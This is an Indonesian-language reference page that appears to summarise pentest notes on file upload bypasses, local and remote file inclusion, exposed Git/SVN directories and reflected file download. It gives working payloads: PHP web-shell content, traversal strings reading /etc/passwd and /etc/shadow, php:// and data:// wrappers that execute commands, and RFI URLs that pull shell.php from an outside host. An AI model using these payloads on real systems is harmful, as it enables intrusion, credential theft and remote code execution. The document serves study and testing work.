5
Penanganan Berkas dan Pengungkapan Kode Sumber
Halaman ini membahas lima catatan repository yang semuanya bersinggungan dengan berkas: berkas yang masuk lewat fitur unggah, berkas yang disertakan oleh parameter page, dan berkas yang seharusnya menetap di sisi server tetapi terbaca dari luar. Pola yang menghubungkan kelimanya sederhana: satu field form atau satu parameter menentukan berkas mana yang dipakai server, dan pemeriksaan pada titik itulah yang menentukan hasilnya.
Unggah Berkas Tanpa Validasi
Catatan menyebut Arbitrary File Upload sebagai celah yang membuat penyerang dapat menaruh berkas berbahaya di server. Titik yang disarankan untuk diperiksa adalah fitur unggah berkas, misalnya unggah foto profil. Arbitrary File Upload.md:4-71
Sembilan tips di catatan itu tidak berdiri sendiri, melainkan menyerang lapisan validasi yang berbeda-beda. Semua contoh request memakai POST /images/upload/ dengan nama field uploaded.
| # | Yang diubah | Nilai contoh | Sasaran validasi | Rujukan |
|---|---|---|---|---|
| 1 | header Content-Type | application/x-php diubah menjadi image/jpeg | pemeriksaan MIME | Arbitrary File Upload.md:10-292 |
| 2 | ekstensi pada filename | dapos.php.jpg, lalu request diubah menjadi dapos.php | filter ekstensi | Arbitrary File Upload.md:31-503 |
| 3 | isi berkas | GIF89a; <?php system("id") ?> dikirim dengan Content-Type: image/gif | pemeriksaan magic bytes | Arbitrary File Upload.md:52-644 |
| 4 | ukuran isi | (<?=`$_GET[x]`?>) | validasi content length | Arbitrary File Upload.md:66-695 |
| 5 | nama berkas | file.php%00.gif | ekstensi setelah null byte | Arbitrary File Upload.md:71-746 |
| 6 | nama berkas | file.jpg.php | ekstensi ganda | Arbitrary File Upload.md:76-797 |
| 7 | ekstensi | file.php5 — catatan menyebut php4, php5, php6, phtml | daftar ekstensi populer | Arbitrary File Upload.md:81-848 |
| 8 | kapitalisasi ekstensi | file.pHP5 | pencocokan case-sensitive | Arbitrary File Upload.md:86-899 |
| 9 | kombinasi | gabungan seluruh tips di atas | beberapa lapisan sekaligus | Arbitrary File Upload.md:9110 |
Urutan request dari unggahan sampai eksekusi memakai nilai yang benar-benar tercatat di catatan: /images/upload/, dapos.php, image/jpeg, dan GIF89a.
sequenceDiagram
autonumber
participant A as Attacker
participant U as Upload endpoint
participant V as Validasi
participant S as Server
A->>U: POST /images/upload/ filename="dapos.php"
U->>V: Content-Type: application/x-php
V-->>A: ekstensi .php ditolak
A->>U: filename="dapos.php.jpg"
A->>U: Content-Type: image/jpeg
V-->>U: lolos pemeriksaan ekstensi dan MIME
A->>U: kirim ulang filename="dapos.php"
U->>S: berkas .php tersimpan
A->>S: GET berkas hasil unggah
S-->>A: system('id') dieksekusi
%% fig: Siklus unggah berkas sampai eksekusi
%% desc: Request unggah melewati pemeriksaan ekstensi dan Content-Type lewat nama berkas ganda, lalu berkas yang tersimpan dipanggil untuk menjalankan perintah.⚠️ Langkah 3 bukan variasi kosmetik: berkas berisi
GIF89a; <?php system("id") ?>yang tersimpan di direktori yang dapat diakses web akan dieksekusi saat diminta lewat GET. Arbitrary File Upload.md:52-644
Penyertaan Berkas di Sisi Server
Local File Inclusion dan Remote File Inclusion di catatan ini menunjuk titik masuk yang sama: endpoint yang menyertakan berkas dari web server, contohnya /index.php?page=index.html. Pada LFI berkas diambil dari disk server, pada RFI skrip diambil dari host luar. Local File Inclusion.md:4-711 Remote File Inclusion.md:4-712
graph TD
P["/index.php?page=index.html"] --> L["../../../etc/passwd"]
P --> R["http://daffa.info/shell.php"]
L --> E["Encoding: %2e%2e%2f, %252e, %c0%ae, %00"]
L --> T["Traversal unik: ....//, .%2e, %%32%65"]
L --> W["Wrapper php:// dan zip://"]
R --> F["RFI: http%3A%2F%2F, http%253A%252F%252F, %00"]
W --> X["eksekusi perintah shell"]
style P fill:#2d7d46,color:#fff
style L fill:#336791,color:#fff
style R fill:#f59e0b,color:#000
style E fill:#f59e0b,color:#000
style T fill:#f59e0b,color:#000
style F fill:#f59e0b,color:#000
style W fill:#8b5cf6,color:#fff
style X fill:#dc2626,color:#fff
%% fig: Satu parameter include, dua arah pengambilan berkas
%% desc: Parameter page yang sama dapat diarahkan ke berkas lokal lewat traversal dan wrapper, atau ke skrip di host luar lewat RFI.Empat lapis encoding yang sama muncul di kedua catatan. RFI hanya memuat empat baris, sedangkan LFI menambahkan encoding UTF-8 dan beberapa trik traversal lain.
| Teknik | LFI (page=) | RFI (page=) | Rujukan |
|---|---|---|---|
| dasar | ../../../etc/passwd | http://daffa.info/shell.php | Local File Inclusion.md:10-1413 Remote File Inclusion.md:10-1314 |
| URL encoding | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | http%3A%2F%2Fdaffa.info%2Fshell.php | Local File Inclusion.md:16-1915 Remote File Inclusion.md:15-1816 |
| double encoding | %252e%252e%252f%252e%252e%252fetc%252fpasswd | http%253A%252F%252Fdaffa.info%252Fshell.php | Local File Inclusion.md:21-2417 Remote File Inclusion.md:20-2318 |
| null byte | ../../../etc/passwd%00 | http://daffa.info/shell.php%00 | Local File Inclusion.md:31-3419 Remote File Inclusion.md:25-2820 |
LFI menambah satu lapis encoding lagi, yaitu UTF-8 (%c0%ae), yang ditulis sebagai %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd. Local File Inclusion.md:26-2921
Dua trik menyiasati lapisan yang memotong atau menormalkan path. Pertama, traversal dimulai dari folder yang benar-benar ada sehingga awalan tidak dicurigai: scripts/../../../../../etc/passwd. Local File Inclusion.md:36-3922 Kedua, path truncation memanjangkan path dengan pengulangan ./ sampai batas panjang terpotong, misalnya a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.. Local File Inclusion.md:41-4523
Catatan juga menyimpan empat bentuk traversal yang tidak lolos filter biasa: ....//....//etc/passwd, ..///////..////..//////etc/passwd, /%5C../%5C../ dengan backslash ter-encode, dan /.%2e/.%2e/.%2e/.%2e/etc/passwd serta %%32%65 yang di-decode dua kali. Local File Inclusion.md:87-9424
Ketika traversal saja tidak cukup, wrapper PHP menentukan bentuk keluaran maupun eksekusi. Local File Inclusion.md:47-5125
| Wrapper | Payload | Efek | Rujukan |
|---|---|---|---|
php://filter rot13 | php://filter/read=string.rot13/resource=config.php | isi config.php dibaca dalam rot13 | Local File Inclusion.md:47-5125 |
php://filter base64 | php://filter/convert.base64-encode/resource=config.php | isi berkas keluar sebagai base64 | Local File Inclusion.md:47-5125 |
| zlib | php://filter/zlib.deflate/convert.base64-encode/resource=/etc/shadow | /etc/shadow dikompresi lalu di-encode base64 | Local File Inclusion.md:53-5626 |
| zip | zip://shell.jpg%23payload.php | payload.php dijalankan dari arsip yang berekstensi .jpg | Local File Inclusion.md:58-6627 |
| data | data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | kode PHP dikirim di dalam URL | Local File Inclusion.md:68-7128 |
| expect | expect://ls | perintah shell dijalankan | Local File Inclusion.md:73-7629 |
| input | POST /index.php?page=php://input&cmd=ls | body request dibaca sebagai berkas | Local File Inclusion.md:78-8530 |
Baris zip:// di tabel itu berasal dari blok perintah yang lebih panjang: payload ditulis ke payload.php, diarsipkan menjadi payload.zip, lalu diubah namanya menjadi shell.jpg sebelum dipanggil. Local File Inclusion.md:58-6627
Karena RFI memuat skrip dari host luar, dampaknya bergantung pada kemampuan server menjangkau alamat tersebut. Sisi request yang dibuat server itu dibahas di Kontrol Akses dan Request Server Side.
Direktori VCS yang Terbuka
Kode sumber yang seharusnya tetap di sisi server kadang terbaca oleh pengguna. Catatan mengingatkan bahwa kode semacam itu dapat memuat password database dan secret key, dan bahan tersebut cukup untuk menyusun serangan lanjutan. Exposed Source Code.md:3-431
| Direktori | Contoh URL | Tool di catatan | Rujukan |
|---|---|---|---|
| Git | https://site.com/.git | git-dumper | Exposed Source Code.md:10-1732 |
| Subversion | https://site.com/.svn | svn-extractor | Exposed Source Code.md:19-2633 |
| Mercurial | https://site.com/.hg | hg-dumper | Exposed Source Code.md:28-3534 |
| Bazaar | http://target.com/.bzr | bzr_dumper | Exposed Source Code.md:37-4435 |
| Darcs | http://target.com/_darcs | belum ada di catatan (Not found) | Exposed Source Code.md:46-5136 |
| BitKeeper | http://target.com/Bitkeeper | belum ada di catatan (Not found) | Exposed Source Code.md:53-5837 |
⚠️ Enumerasi
.git,.svn, atau.hgbukan langkah pasif. Hasil dump berisi riwayat dan berkas konfigurasi yang dapat memuat password database serta secret key, dan hal itu diakui langsung oleh catatan. Exposed Source Code.md:3-431 Jika path tersebut dibalas 403, teknik pembukaannya ada di Teknik Bypass Kontrol.
Reflected File Download
Reflected File Download memperpanjang serangan refleksi keluar dari konteks browser: URL yang dibuat penyerang memaksa unduhan berkas dengan ekstensi apa pun, sehingga input yang ter-refleksi mendapat makna baru walaupun sudah di-escape dengan benar. Reflected File Download.md:3-438 Sisi browser dari input ter-refleksi dibahas di Kerentanan Sisi Klien dan Pengalihan URL.
Dua syarat harus terpenuhi sebelum teknik ini berlaku: ada input yang ter-refleksi, misalnya callback JSONP, dan nama berkas hasil unduhan dapat dikendalikan. Nama berkas bisa dikendalikan bila header Content-Disposition tidak memuat atribut filename, dan bila header itu tidak ada sama sekali, atribut download pada tag <a> dipakai sebagai jalur alternatif. Reflected File Download.md:7-2039
graph LR
I["input ter-refleksi (callback JSONP)"] --> C["nama berkas dapat dikendalikan"]
C --> H["Content-Disposition tanpa atribut filename"]
C --> D["atribut download pada tag a"]
H --> U["unduhan otomatis"]
D --> U
U --> E["berkas .bat dijalankan pengguna"]
style I fill:#2d7d46,color:#fff
style C fill:#f59e0b,color:#000
style H fill:#f59e0b,color:#000
style D fill:#f59e0b,color:#000
style U fill:#8b5cf6,color:#fff
style E fill:#dc2626,color:#fff
%% fig: Dua jalur syarat Reflected File Download
%% desc: Input ter-refleksi dan kendali nama berkas bertemu di satu unduhan, baik lewat header Content-Disposition tanpa filename maupun atribut download pada tag a.Bentuk header dan tag yang dipakai catatan untuk menguji syarat tersebut:
Content-Disposition: attachment;
<a download href="https://example/api/?id=1&outputtype=json&callback=||calc||">Press Here</a>
Reflected File Download.md:7-2039
Payload gabungannya menempatkan nama berkas dan callback pada satu URL. Browser akan mengunduh evil.bat, dan berkas itu menjalankan kalkulator ketika dibuka. Reflected File Download.md:24-2840
http://example.com/api;/evil.bat;?callback=||calc||
⚠️ Escape pada input tidak menetralkan teknik ini, karena yang dieksploitasi adalah nama berkas dan tipe unduhan, bukan konteks HTML. Reflected File Download.md:3-438